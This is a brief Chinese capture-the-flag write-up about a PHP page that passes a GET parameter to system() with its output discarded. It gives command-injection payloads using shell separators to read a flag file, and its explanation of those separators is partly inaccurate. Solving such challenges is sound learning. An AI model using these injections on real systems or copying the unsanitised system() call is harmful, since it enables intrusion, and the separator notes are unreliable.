代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
//标准输出和错误输出都进了黑洞,不会打印到屏幕
}else{
highlight_file(__FILE__);
}
这里是将标准输入重定向到黑洞,再把标准错误指向标准输入,则标准输出和错误都进黑洞了,不会打印到屏幕上,可以利用
shell
命令分隔即可; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
?c=tac fla*|| ?c=tac fla*;